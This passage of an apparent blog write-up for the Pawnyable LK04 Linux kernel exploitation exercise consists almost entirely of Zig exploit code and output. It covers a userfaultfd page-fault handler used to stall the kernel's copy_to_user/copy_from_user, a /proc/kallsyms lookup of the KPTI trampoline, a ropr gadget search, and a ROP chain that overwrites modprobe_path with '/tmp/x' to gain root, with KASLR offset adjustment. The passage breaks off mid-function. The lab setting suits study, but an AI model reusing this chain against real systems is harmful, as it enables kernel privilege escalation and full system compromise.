</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> UFFDIO <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">enum</span>(<span style="color:#6ae4b9">u32</span>) {
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">const</span> _uffdio <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xaa</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">const</span> ioctl <span style="color:#00d3d0">=</span> linux.IOCTL;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        API <span style="color:#00d3d0">=</span> ioctl.<span style="color:#feacd0">IOWR</span>(_uffdio, <span style="color:#00bcff">0x3f</span>, uffdio_api),
</span></span><span style="display:flex;"><span>        REGISTER <span style="color:#00d3d0">=</span> ioctl.<span style="color:#feacd0">IOWR</span>(_uffdio, <span style="color:#00bcff">0x00</span>, uffdio_register),
</span></span><span style="display:flex;"><span>        UNREGISTER <span style="color:#00d3d0">=</span> ioctl.<span style="color:#feacd0">IOR</span>(_uffdio, <span style="color:#00bcff">0x01</span>, uffdio_range),
</span></span><span style="display:flex;"><span>        WAKE <span style="color:#00d3d0">=</span> ioctl.<span style="color:#feacd0">IOR</span>(_uffdio, <span style="color:#00bcff">0x02</span>, uffdio_range),
</span></span><span style="display:flex;"><span>        COPY <span style="color:#00d3d0">=</span> ioctl.<span style="color:#feacd0">IOWR</span>(_uffdio, <span style="color:#00bcff">0x03</span>, uffdio_copy),
</span></span><span style="display:flex;"><span>        ZEROPAGE <span style="color:#00d3d0">=</span> ioctl.<span style="color:#feacd0">IOWR</span>(_uffdio, <span style="color:#00bcff">0x04</span>, uffdio_zeropage),
</span></span><span style="display:flex;"><span>        WRITEPROTECT <span style="color:#00d3d0">=</span> ioctl.<span style="color:#feacd0">IOWR</span>(_uffdio, <span style="color:#00bcff">0x06</span>, uffdio_writeprotect),
</span></span><span style="display:flex;"><span>        CONTINUE <span style="color:#00d3d0">=</span> ioctl.<span style="color:#feacd0">IOWR</span>(_uffdio, <span style="color:#00bcff">0x07</span>, uffdio_continue),
</span></span><span style="display:flex;"><span>    };
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">pub</span> <span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">register</span>(region<span style="color:#00d3d0">:</span> []<span style="color:#6ae4b9">u8</span>, <span style="color:#b6a0ff">comptime</span> fault_handler<span style="color:#00d3d0">:</span> anytype, fh_args<span style="color:#00d3d0">:</span> anytype) <span style="color:#00d3d0">!</span><span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">const</span> fd<span style="color:#00d3d0">:</span> posix.fd_t <span style="color:#00d3d0">=</span> blk<span style="color:#00d3d0">:</span> {
</span></span><span style="display:flex;"><span>            <span style="color:#b6a0ff">const</span> err <span style="color:#00d3d0">=</span> linux.<span style="color:#feacd0">syscall1</span>(linux.syscalls.X64.userfaultfd, <span style="color:#f78fe7">@as</span>(<span style="color:#6ae4b9">u32</span>, <span style="color:#f78fe7">@bitCast</span>(linux.O{ .CLOEXEC <span style="color:#00d3d0">=</span> <span style="color:#00bcff">true</span>, .NONBLOCK <span style="color:#00d3d0">=</span> <span style="color:#00bcff">true</span> })));
</span></span><span style="display:flex;"><span>            <span style="color:#b6a0ff">switch</span> (linux.E.<span style="color:#feacd0">init</span>(err)) {
</span></span><span style="display:flex;"><span>                .SUCCESS <span style="color:#00d3d0">=&gt;</span> <span style="color:#b6a0ff">break</span> <span style="color:#00d3d0">:</span>blk <span style="color:#f78fe7">@intCast</span>(err),
</span></span><span style="display:flex;"><span>                <span style="color:#b6a0ff">else</span> <span style="color:#00d3d0">=&gt;</span> <span style="color:#00d3d0">|</span>e<span style="color:#00d3d0">|</span> <span style="color:#b6a0ff">return</span> posix.<span style="color:#feacd0">unexpectedErrno</span>(e),
</span></span><span style="display:flex;"><span>            }
</span></span><span style="display:flex;"><span>        };
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">var</span> ufapi <span style="color:#00d3d0">=</span> uffdio_api{ .api <span style="color:#00d3d0">=</span> UFFD_API, .features <span style="color:#00d3d0">=</span> .{}, .ioctls <span style="color:#00d3d0">=</span> <span style="color:#00bcff">undefined</span> };
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">switch</span> (posix.<span style="color:#feacd0">errno</span>(linux.<span style="color:#feacd0">ioctl</span>(fd, <span style="color:#f78fe7">@intFromEnum</span>(UFFDIO.API), <span style="color:#f78fe7">@intFromPtr</span>(<span style="color:#00d3d0">&amp;</span>ufapi)))) {
</span></span><span style="display:flex;"><span>            .SUCCESS <span style="color:#00d3d0">=&gt;</span> {},
</span></span><span style="display:flex;"><span>            <span style="color:#b6a0ff">else</span> <span style="color:#00d3d0">=&gt;</span> <span style="color:#00d3d0">|</span>err<span style="color:#00d3d0">|</span> <span style="color:#b6a0ff">return</span> posix.<span style="color:#feacd0">unexpectedErrno</span>(err),
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">var</span> ufreg <span style="color:#00d3d0">=</span> uffdio_register{ .range <span style="color:#00d3d0">=</span> .{ .start <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">@intFromPtr</span>(<span style="color:#f78fe7">@as</span>([<span style="color:#00d3d0">*</span>]<span style="color:#6ae4b9">u8</span>, <span style="color:#f78fe7">@ptrCast</span>(region))), .len <span style="color:#00d3d0">=</span> region.len }, .mode <span style="color:#00d3d0">=</span> .{ .MISSING <span style="color:#00d3d0">=</span> <span style="color:#00bcff">true</span> }, .ioctls <span style="color:#00d3d0">=</span> <span style="color:#00bcff">undefined</span> };
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">switch</span> (posix.<span style="color:#feacd0">errno</span>(linux.<span style="color:#feacd0">ioctl</span>(fd, <span style="color:#f78fe7">@intFromEnum</span>(UFFDIO.REGISTER), <span style="color:#f78fe7">@intFromPtr</span>(<span style="color:#00d3d0">&amp;</span>ufreg)))) {
</span></span><span style="display:flex;"><span>            .SUCCESS <span style="color:#00d3d0">=&gt;</span> {},
</span></span><span style="display:flex;"><span>            <span style="color:#b6a0ff">else</span> <span style="color:#00d3d0">=&gt;</span> <span style="color:#00d3d0">|</span>err<span style="color:#00d3d0">|</span> <span style="color:#b6a0ff">return</span> posix.<span style="color:#feacd0">unexpectedErrno</span>(err),
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">var</span> t <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> std.Thread.<span style="color:#feacd0">spawn</span>(.{}, fault_handler, .{fd} <span style="color:#00d3d0">++</span> fh_args);
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">try</span> <span style="color:#feacd0">pinThreadToCore</span>(t.<span style="color:#feacd0">getHandle</span>(), <span style="color:#00bcff">0</span>);
</span></span><span style="display:flex;"><span>        t.<span style="color:#feacd0">detach</span>();
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>};
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">testFaultHandler</span>(fd<span style="color:#00d3d0">:</span> posix.fd_t) <span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> ufd <span style="color:#00d3d0">=</span> userfaultfd;
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> S <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">struct</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">var</span> msg<span style="color:#00d3d0">:</span> ufd.msg <span style="color:#00d3d0">=</span> <span style="color:#00bcff">undefined</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">var</span> fault_count<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u32</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>;
</span></span><span style="display:flex;"><span>    };
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> page <span style="color:#00d3d0">=</span> posix.<span style="color:#feacd0">mmap</span>(
</span></span><span style="display:flex;"><span>        <span style="color:#00bcff">null</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#00bcff">0x1000</span>,
</span></span><span style="display:flex;"><span>        linux.PROT.READ <span style="color:#00d3d0">|</span> linux.PROT.WRITE,
</span></span><span style="display:flex;"><span>        posix.MAP{ .TYPE <span style="color:#00d3d0">=</span> .PRIVATE, .ANONYMOUS <span style="color:#00d3d0">=</span> <span style="color:#00bcff">true</span> },
</span></span><span style="display:flex;"><span>        <span style="color:#00d3d0">-</span><span style="color:#00bcff">1</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>    ) <span style="color:#b6a0ff">catch</span> {
</span></span><span style="display:flex;"><span>        std.log.<span style="color:#feacd0">err</span>(<span style="color:#79a8ff">&#34;mmap failed&#34;</span>, .{});
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">return</span>;
</span></span><span style="display:flex;"><span>    };
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">defer</span> posix.<span style="color:#feacd0">munmap</span>(page);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    std.log.<span style="color:#feacd0">info</span>(<span style="color:#79a8ff">&#34;Waiting for page fault...&#34;</span>, .{});
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> pollfds <span style="color:#00d3d0">=</span> [_]posix.pollfd{
</span></span><span style="display:flex;"><span>        .{ .fd <span style="color:#00d3d0">=</span> fd, .events <span style="color:#00d3d0">=</span> posix.POLL.IN, .revents <span style="color:#00d3d0">=</span> <span style="color:#00bcff">undefined</span> }
</span></span><span style="display:flex;"><span>    };
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">while</span> (<span style="color:#00bcff">true</span>) {
</span></span><span style="display:flex;"><span>        _ <span style="color:#00d3d0">=</span> posix.<span style="color:#feacd0">poll</span>(<span style="color:#00d3d0">&amp;</span>pollfds, <span style="color:#00d3d0">-</span><span style="color:#00bcff">1</span>) <span style="color:#b6a0ff">catch</span> <span style="color:#b6a0ff">break</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">const</span> pollfd <span style="color:#00d3d0">=</span> pollfds[<span style="color:#00bcff">0</span>];
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">const</span> err_mask <span style="color:#00d3d0">=</span> posix.POLL.ERR <span style="color:#00d3d0">|</span> posix.POLL.HUP;
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">if</span> (pollfd.revents <span style="color:#00d3d0">&amp;</span> err_mask <span style="color:#00d3d0">!=</span> <span style="color:#00bcff">0</span>) {
</span></span><span style="display:flex;"><span>            std.log.<span style="color:#feacd0">err</span>(<span style="color:#79a8ff">&#34;poll failed&#34;</span>, .{});
</span></span><span style="display:flex;"><span>            <span style="color:#b6a0ff">return</span>;
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        _ <span style="color:#00d3d0">=</span> posix.<span style="color:#feacd0">read</span>(fd, std.mem.<span style="color:#feacd0">asBytes</span>(<span style="color:#00d3d0">&amp;</span>S.msg)) <span style="color:#b6a0ff">catch</span> {
</span></span><span style="display:flex;"><span>            std.log.<span style="color:#feacd0">err</span>(<span style="color:#79a8ff">&#34;read failed&#34;</span>, .{});
</span></span><span style="display:flex;"><span>            <span style="color:#b6a0ff">return</span>;
</span></span><span style="display:flex;"><span>        };
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">const</span> pagefault_event <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">switch</span> (S.msg.event) {
</span></span><span style="display:flex;"><span>            .PAGEFAULT <span style="color:#00d3d0">=&gt;</span> S.msg.arg.pagefault,
</span></span><span style="display:flex;"><span>            <span style="color:#b6a0ff">else</span> <span style="color:#00d3d0">=&gt;</span> {
</span></span><span style="display:flex;"><span>                std.log.<span style="color:#feacd0">err</span>(<span style="color:#79a8ff">&#34;Received non-pagefault event&#34;</span>, .{});
</span></span><span style="display:flex;"><span>                <span style="color:#b6a0ff">return</span>;
</span></span><span style="display:flex;"><span>            },
</span></span><span style="display:flex;"><span>        };
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        std.log.<span style="color:#feacd0">info</span>(<span style="color:#79a8ff">&#34;pagefault_event.flags = {any}&#34;</span>, .{pagefault_event.flags});
</span></span><span style="display:flex;"><span>        std.log.<span style="color:#feacd0">info</span>(<span style="color:#79a8ff">&#34;pagefault_event.addr = 0x{x}&#34;</span>, .{pagefault_event.address});
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#f78fe7">@memcpy</span>(page[<span style="color:#00bcff">0</span>..<span style="color:#00bcff">9</span>], <span style="color:#b6a0ff">if</span> (S.fault_count <span style="color:#00d3d0">%</span> <span style="color:#00bcff">2</span> <span style="color:#00d3d0">==</span> <span style="color:#00bcff">0</span>) <span style="color:#79a8ff">&#34;Test (0)</span><span style="color:#79a8ff">\x00</span><span style="color:#79a8ff">&#34;</span> <span style="color:#b6a0ff">else</span> <span style="color:#79a8ff">&#34;Test (1)</span><span style="color:#79a8ff">\x00</span><span style="color:#79a8ff">&#34;</span>);
</span></span><span style="display:flex;"><span>        S.fault_count <span style="color:#00d3d0">+=</span> <span style="color:#00bcff">1</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">var</span> ufcopy <span style="color:#00d3d0">=</span> ufd.uffdio_copy{ .src <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">@intFromPtr</span>(<span style="color:#f78fe7">@as</span>([<span style="color:#00d3d0">*</span>]<span style="color:#6ae4b9">u8</span>, <span style="color:#f78fe7">@ptrCast</span>(page))), .dst <span style="color:#00d3d0">=</span> pagefault_event.address <span style="color:#00d3d0">&amp;</span> <span style="color:#00d3d0">~</span><span style="color:#f78fe7">@as</span>(<span style="color:#6ae4b9">u64</span>, <span style="color:#00bcff">0xfff</span>), .len <span style="color:#00d3d0">=</span> page.len, .mode <span style="color:#00d3d0">=</span> .{}, .copy <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span> };
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">switch</span> (posix.<span style="color:#feacd0">errno</span>(linux.<span style="color:#feacd0">ioctl</span>(fd, <span style="color:#f78fe7">@intFromEnum</span>(ufd.UFFDIO.COPY), <span style="color:#f78fe7">@intFromPtr</span>(<span style="color:#00d3d0">&amp;</span>ufcopy)))) {
</span></span><span style="display:flex;"><span>            .SUCCESS <span style="color:#00d3d0">=&gt;</span> {},
</span></span><span style="display:flex;"><span>            <span style="color:#b6a0ff">else</span> <span style="color:#00d3d0">=&gt;</span> <span style="color:#00d3d0">|</span>err<span style="color:#00d3d0">|</span> {
</span></span><span style="display:flex;"><span>                std.log.<span style="color:#feacd0">err</span>(<span style="color:#79a8ff">&#34;{any}&#34;</span>, .{err});
</span></span><span style="display:flex;"><span>                <span style="color:#b6a0ff">return</span>;
</span></span><span style="display:flex;"><span>            },
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
</details>

<p><a id="code-snippet--lk04-userfaultfd-test"></a></p>





  
  
    

  
  
    
    
  

  
  
    
    
  

  
  
    





  

  





<details open>
  
  <summary>Zig</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-zig" data-lang="zig"><span style="display:flex;"><span><a href="#code-snippet--pawnyable-lib">&lt;&lt;pawnyable-lib&gt;&gt;</a>
</span></span><span style="display:flex;"><span><a href="#code-snippet--lk04-userfaultfd">&lt;&lt;lk04-userfaultfd&gt;&gt;</a>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">pub</span> <span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">main</span>() <span style="color:#00d3d0">!</span><span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    {
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">var</span> cpu<span style="color:#00d3d0">:</span> linux.cpu_set_t <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">@splat</span>(<span style="color:#00bcff">0</span>);
</span></span><span style="display:flex;"><span>        cpu[<span style="color:#00bcff">0</span>] <span style="color:#00d3d0">=</span> <span style="color:#00bcff">1</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">try</span> linux.<span style="color:#feacd0">sched_setaffinity</span>(linux.<span style="color:#feacd0">getpid</span>(), <span style="color:#00d3d0">&amp;</span>cpu);
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> page <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> posix.<span style="color:#feacd0">mmap</span>(
</span></span><span style="display:flex;"><span>        <span style="color:#00bcff">null</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#00bcff">0x2000</span>,
</span></span><span style="display:flex;"><span>        linux.PROT.READ <span style="color:#00d3d0">|</span> linux.PROT.WRITE,
</span></span><span style="display:flex;"><span>        posix.MAP{ .TYPE <span style="color:#00d3d0">=</span> .PRIVATE, .ANONYMOUS <span style="color:#00d3d0">=</span> <span style="color:#00bcff">true</span> },
</span></span><span style="display:flex;"><span>        <span style="color:#00d3d0">-</span><span style="color:#00bcff">1</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>    );
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">try</span> userfaultfd.<span style="color:#feacd0">register</span>(page, testFaultHandler, .{});
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> buf<span style="color:#00d3d0">:</span> [<span style="color:#00bcff">0x100</span>]<span style="color:#6ae4b9">u8</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">undefined</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">for</span> (<span style="color:#00bcff">0</span>..<span style="color:#00bcff">2</span>) <span style="color:#00d3d0">|</span>_<span style="color:#00d3d0">|</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">const</span> buf_as_cstring<span style="color:#00d3d0">:</span> [<span style="color:#00d3d0">*:</span><span style="color:#00bcff">0</span>]<span style="color:#b6a0ff">const</span> <span style="color:#6ae4b9">u8</span> <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">@ptrCast</span>(<span style="color:#00d3d0">&amp;</span>buf);
</span></span><span style="display:flex;"><span>        <span style="color:#f78fe7">@memcpy</span>(<span style="color:#00d3d0">&amp;</span>buf, page[<span style="color:#00bcff">0</span>..<span style="color:#00bcff">0x100</span>]);
</span></span><span style="display:flex;"><span>        std.debug.<span style="color:#feacd0">print</span>(<span style="color:#79a8ff">&#34;0x0000: {s}</span><span style="color:#79a8ff">\n</span><span style="color:#79a8ff">&#34;</span>, .{buf_as_cstring});
</span></span><span style="display:flex;"><span>        <span style="color:#f78fe7">@memcpy</span>(<span style="color:#00d3d0">&amp;</span>buf, page[<span style="color:#00bcff">0x1000</span>..][<span style="color:#00bcff">0</span>..<span style="color:#00bcff">0x100</span>]);
</span></span><span style="display:flex;"><span>        std.debug.<span style="color:#feacd0">print</span>(<span style="color:#79a8ff">&#34;0x1000: {s}</span><span style="color:#79a8ff">\n</span><span style="color:#79a8ff">&#34;</span>, .{buf_as_cstring});
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>[INFO] Waiting for page fault...
</span></span><span style="display:flex;"><span>[INFO] pagefault_event.flags = tmp.DprYUckmLc.userfaultfd.msg__union_24586__struct_24587.FLAG{ .WRITE = false, .WP = false, .MINOR = false, ._ = 0 }
</span></span><span style="display:flex;"><span>[INFO] pagefault_event.addr = 0x7f9577e2b000
</span></span><span style="display:flex;"><span>0x0000: Test (0)
</span></span><span style="display:flex;"><span>[INFO] pagefault_event.flags = tmp.DprYUckmLc.userfaultfd.msg__union_24586__struct_24587.FLAG{ .WRITE = false, .WP = false, .MINOR = false, ._ = 0 }
</span></span><span style="display:flex;"><span>[INFO] pagefault_event.addr = 0x7f9577e2c000
</span></span><span style="display:flex;"><span>0x1000: Test (1)
</span></span><span style="display:flex;"><span>0x0000: Test (0)
</span></span><span style="display:flex;"><span>0x1000: Test (1)</span></span></code></pre></div>

<p><kbd>copy_to_user</kbd>​/​<kbd>copy_from_user</kbd>​はまず​<kbd>to</kbd>​/​<kbd>from</kbd>​の引数は参照を外すから、悪質なuserfaultfdのハンドラーは記憶をコーピする前に実行する。</p>
<details>
<summary>ROPchain</summary>
<div class="details">





  
  
    

  
  
    









<details open>
  
  <summary>Bash</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>grep /proc/kallsyms -e <span style="color:#79a8ff">&#39;swapgs_restore_regs_and_return_to_usermode&#39;</span></span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>ffffffff81800e10 T swapgs_restore_regs_and_return_to_usermode</span></span></code></pre></div>






  
  
    

  
  
    









<details open>
  
  <summary>Bash</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>ropr --nosys --nojop -R <span style="color:#79a8ff">&#39;^(mov \[rax\], rdi|pop rax|pop rdi); ret;|^pop rsp; ret[^;]*?;&#39;</span> vmlinux</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>0xffffffff8110850a: mov [rax], rdi; ret;
</span></span><span style="display:flex;"><span>0xffffffff811be9f4: pop rsp; ret 0x48b0;
</span></span><span style="display:flex;"><span>0xffffffff8126db98: pop rsp; ret 0xdc;
</span></span><span style="display:flex;"><span>0xffffffff813e525d: pop rsp; ret 0x7404;
</span></span><span style="display:flex;"><span>0xffffffff813e53bb: pop rsp; ret 0xf04;
</span></span><span style="display:flex;"><span>0xffffffff814a5527: pop rsp; ret 0x4d38;
</span></span><span style="display:flex;"><span>0xffffffff81c9cd9d: pop rsp; ret 0x4fff;
</span></span><span style="display:flex;"><span>0xffffffff81c9cda1: pop rsp; ret 0xefff;
</span></span><span style="display:flex;"><span>0xffffffff81ca6ca0: pop rax; ret;
</span></span><span style="display:flex;"><span>0xffffffff81ce088b: pop rdi; ret;
</span></span><span style="display:flex;"><span>0xffffffff81d8cf00: pop rsp; ret 1;
</span></span><span style="display:flex;"><span>0xffffffff81d962a4: pop rsp; ret;</span></span></code></pre></div>

<p><a id="code-snippet--lk04-ropchain"></a></p>





  
  
    

  
  
    









<details open>
  
  <summary>Zig</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-zig" data-lang="zig"><span style="display:flex;"><span><span style="color:#b6a0ff">var</span> PUSH_RDX_CMP_EAX_0x415b005c_POP_RSP_POP_RBP<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff8109b13a</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">var</span> MOV_ADDROF_RAX_RDI<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff8110850a</span>;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">var</span> POP_RAX<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff8125a664</span>;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">var</span> POP_RDI<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff812a7d7c</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">var</span> KPTI_TRAMPOLINE<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff81800e10</span><span style="color:#00d3d0">+</span><span style="color:#00bcff">22</span>;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">var</span> MODPROBE_PATH<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff81e37ea0</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">ropchain</span>(buf<span style="color:#00d3d0">:</span> []<span style="color:#6ae4b9">u8</span>) <span style="color:#00d3d0">!</span><span style="color:#6ae4b9">usize</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> chain <span style="color:#00d3d0">=</span> [_]<span style="color:#6ae4b9">u64</span>{
</span></span><span style="display:flex;"><span>        <span style="color:#00bcff">0</span>, <span style="color:#a8a8a8">// junk
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>        POP_RDI,
</span></span><span style="display:flex;"><span>        std.mem.<span style="color:#feacd0">readInt</span>(<span style="color:#6ae4b9">u64</span>, <span style="color:#79a8ff">&#34;/tmp/x</span><span style="color:#79a8ff">\x00\x00</span><span style="color:#79a8ff">&#34;</span>, .little),
</span></span><span style="display:flex;"><span>        POP_RAX,
</span></span><span style="display:flex;"><span>        MODPROBE_PATH,
</span></span><span style="display:flex;"><span>        MOV_ADDROF_RAX_RDI,
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        KPTI_TRAMPOLINE,
</span></span><span style="display:flex;"><span>        <span style="color:#00bcff">0</span>, <span style="color:#a8a8a8">// junk
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>        <span style="color:#00bcff">0</span>, <span style="color:#a8a8a8">// junk
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>        <span style="color:#f78fe7">@intFromPtr</span>(<span style="color:#00d3d0">&amp;</span>modprobePath),
</span></span><span style="display:flex;"><span>        user_cs,
</span></span><span style="display:flex;"><span>        user_rflags,
</span></span><span style="display:flex;"><span>        user_rsp,
</span></span><span style="display:flex;"><span>        user_ss,
</span></span><span style="display:flex;"><span>    };
</span></span><span style="display:flex;"><span>    <span style="color:#f78fe7">@memcpy</span>(buf[<span style="color:#00bcff">0</span>..chain.len<span style="color:#00d3d0">*</span><span style="color:#f78fe7">@sizeOf</span>(<span style="color:#6ae4b9">u64</span>)], std.mem.<span style="color:#feacd0">asBytes</span>(<span style="color:#00d3d0">&amp;</span>chain));
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">return</span> std.mem.<span style="color:#feacd0">asBytes</span>(<span style="color:#00d3d0">&amp;</span>chain).len;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">adjust_offsets</span>(kaslr_offset<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span>) <span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> gadgets <span style="color:#00d3d0">=</span> <span style="color:#00d3d0">&amp;</span>[_]<span style="color:#00d3d0">*</span><span style="color:#6ae4b9">u64</span>{
</span></span><span style="display:flex;"><span>        <span style="color:#00d3d0">&amp;</span>PUSH_RDX_CMP_EAX_0x415b005c_POP_RSP_POP_RBP,
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#00d3d0">&amp;</span>MOV_ADDROF_RAX_RDI,
</span></span><span style="display:flex;"><span>        <span style="color:#00d3d0">&amp;</span>POP_RAX,
</span></span><span style="display:flex;"><span>        <span style="color:#00d3d0">&amp;</span>POP_RDI,
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#00d3d0">&amp;</span>KPTI_TRAMPOLINE,
</span></span><span style="display:flex;"><span>        <span style="color:#00d3d0">&amp;</span>MODPROBE_PATH,
</span></span><span style="display:flex;"><span>    };
